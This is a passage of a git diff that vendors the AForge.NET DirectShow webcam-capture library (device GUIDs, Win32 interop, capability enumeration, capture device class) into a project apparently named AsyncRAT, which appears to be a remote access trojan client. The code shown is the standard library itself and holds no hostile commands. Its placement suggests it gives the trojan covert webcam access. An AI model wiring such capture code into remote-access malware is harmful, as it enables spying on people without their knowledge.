)] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + /// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100644 index 0000000..73d2e90 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100644 index 0000000..365a7c3 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs new file mode 100644 index 0000000..3256fed --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100644 index 0000000..a7c8dd4 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) + { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100644 index 0000000..8b76c5a --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( 